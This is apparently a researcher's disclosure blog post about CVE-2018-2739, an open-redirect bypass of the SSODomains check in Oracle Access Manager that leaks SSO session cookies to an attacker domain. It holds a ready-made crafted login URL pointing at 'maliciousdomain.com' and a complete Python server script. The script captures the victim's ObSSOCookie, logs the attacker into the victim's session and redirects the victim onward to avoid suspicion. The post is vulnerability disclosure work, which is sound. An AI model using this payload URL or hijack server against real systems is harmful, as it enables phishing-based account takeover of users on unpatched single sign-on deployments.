The perfect SSO account takeover with Oracle OAM (CVE-2018-2739)

TL;DR

This weakness allows us to bypass the URL filtering on the RH parameter which could be used to hijack the session of any user when following a particularly crafted link. In summary, phishing heaven !

Intro

Oracle Authentication Manager (OAM) 10G or OAM 11g with Webgates 10g parse SSO cookies in an HTTP GET parameter.
OAM sets a cookie based on the ‘obrareq.cgi’ parameters that are sent (see examples below)
Once a user authenticates he/she will be redirected to the domain that was specified in the ‘RH’ parameter.
The HTTP GET request will contain the ‘ObSSOCookie’ value as one of the parameters.
Prior to this blog Tom and I already did some research in this area which can be found here.
Back then Oracle pointed out that this issue was related to a configuration issue and to prevent abuse the 'SSODomains' parameter should be defined in OAM or WebGates.

Bypassing the 'SSODomains' restriction

We moved the focus of our research to bypassing the ‘SSODomains’ parameter as defined in the configuration which essentially results in the same weakness as explained in the previous blog post.
After testing numerous possibilities we successfully managed to bypass the SSODomains restriction by using both weaknesses in Oracle OAM and how modern day browsers treat certain URI schemes.

Details about the bypass are as follows:

Example encoded URL:

https://sso.somedomain.com/obrareq.cgi?wh%3DWEM-PUB-PROD1%20wu%3D%2F%20wo%3D1%20rh%3Dhttps%3A%2F%2Fwww.somedomain.com%3A@maliciousdomain.com%20ru%3D%252F%20rq%3Dreferer%253D%252F

Example Decoded URL:

https://sso.somedomain.com/obrareq.cgi?wh=WEM-PUB-PROD1 wu=/ wo=1 rh=https://www.somedomain.com:@maliciousdomain.com ru=/ rq=referer=/

Affected "RH" parameter

rh=https://www.somedomain.com

The "RH" parameter is affected in the sense that there are some values that are accepted but not properly checked.
In the example above the original domain (RH=redirect host) is https://www.somedomain.com.
Modifying this domain as follows causes an error for example:

After testing we found the following (URL encoded) values seem to be working (this list is not a definitive list!!):

  • %3A (encoded value for a colon)
  • %20 (space is allowed)
  • %3D (equal sign is allowed)

So following our example above and the URL scheme (https://en.wikipedia.org/wiki/Uniform_ Resource _Identifier), it makes it possible to modify the domain with the accepted values mentioned previously and bypass the 'SSODomains' restriction which is set to only allow authentication against 'www.somedomain.com'.
Our new "RH" parameter will look something like this:
https://www.somedomain.com:test%20@maliciousdomain.com

  • This is the protocol that is used (HTTP over SSL)
  • These values are considered to be authentication values (username, password respectively)
  • This value is considered the domain where the browser has to authenticate.

OAM fails to validate the "RH" parameter,it sees the "www.somedomain.com" domain and no forbidden characters therefore simply accepts this input as the accepted value for the "RH" parameter.

Hence resulting in a redirect to "maliciousdomain.com" domain with the ObSSOCookie in the URL.
Because this HTTP GET request to the malicious domain will contain the ObSSOCookie, the attacker will have a fully functional session identifier to access the legitimate web application and resources. (more details can be found in the blog post in the link above)

Most browsers are bad and they should feel bad!

All browsers are affected except for Internet Explorer and Edge (I know right?), which blocks the request form being performed to prevent URL spoofing (https://support.microsoft.com/en-us/help/834489/internet-explorer-does-not-support-user-names-and-passwords-in-web-sit)

  • Chrome 61.03163 (Working)
  • Firefox 56.0.1 (Working)
  • Microsoft Edge 40.15063.674.0 (Not working)
  • Internet Explorer 11 (Not working)
  • Safari 11 (Working)
  • Opera 48 (Working)

Proof-of-Concept Webserver Script

#!/usr/bin/env python
"""
Oracle OAM 10g Session Hijack

usage: Oracle_PoC.py -d redirect_domain

Default browser will be used to open browser tabs

PoC tested on Windows 10 x64 using Internet Explorer 11

positional arguments:

"""
import SimpleHTTPServer  
import SocketServer  
import sys  
import argparse  
import webbrowser  
import time

def redirect_handler_factory(domain):  
    class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
       def do_GET(self):
            if self.path.endswith("httponly") or self.path.endswith("%252F") or  self.path.endswith("do") or self.path.endswith("adfAuthentication"):
                webbrowser.open_new("https://" + domain) #Load website in order to retrieve any other cookies needed to login properly
                time.sleep( 5 )
                webbrowser.open("https://"+ domain +"/" + self.path, new=0, autoraise=True) #Use received cookie to login on to the website
                time.sleep( 5 )
                self.send_response(301)
                self.send_header('Location','https://'+ domain +'/'+ self.path) #Send same cookie to the victim and let him log-in as well, to not raise any suspicion ;)
                self.end_headers()
                return
            else:
                            print self.path
    return RedirectHandler


def main():

    parser = argparse.ArgumentParser(description='Oracle Webgate 10g Session Hijacker')

    parser.add_argument('--port', '-p', action="store", type=int, default=80, help='port to listen on')
    parser.add_argument('--ip', '-i', action="store", default="0.0.0.0", help='host interface to listen on')
    parser.add_argument('--domain','-d', action="store", default="localhost", help='domain to redirect the victim to')

    myargs = parser.parse_args()

    port = myargs.port
    host = myargs.ip
    domain = myargs.domain

    redirectHandler = redirect_handler_factory(domain)

    handler = SocketServer.TCPServer((host, port), redirectHandler)
    print("serving at port %s" % port)
    handler.serve_forever()

if __name__ == "__main__":  
    main()

Feel free to modify the code to you needs, I didn't put the effort to make it work under all circumstances.

Proof-of-Concept Video

This is an old version (too lazy to record a new one) of the PoC which uses internet explorer to exploit it but the end-result of the vulnerability is the same, making it relevant.

This video will help clear up any confusion on how the attack works.
If you still have questions, send me a message on twitter.

CVSS rating

This vulnerability has a rating of 9.3 (CRITICAL)
https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N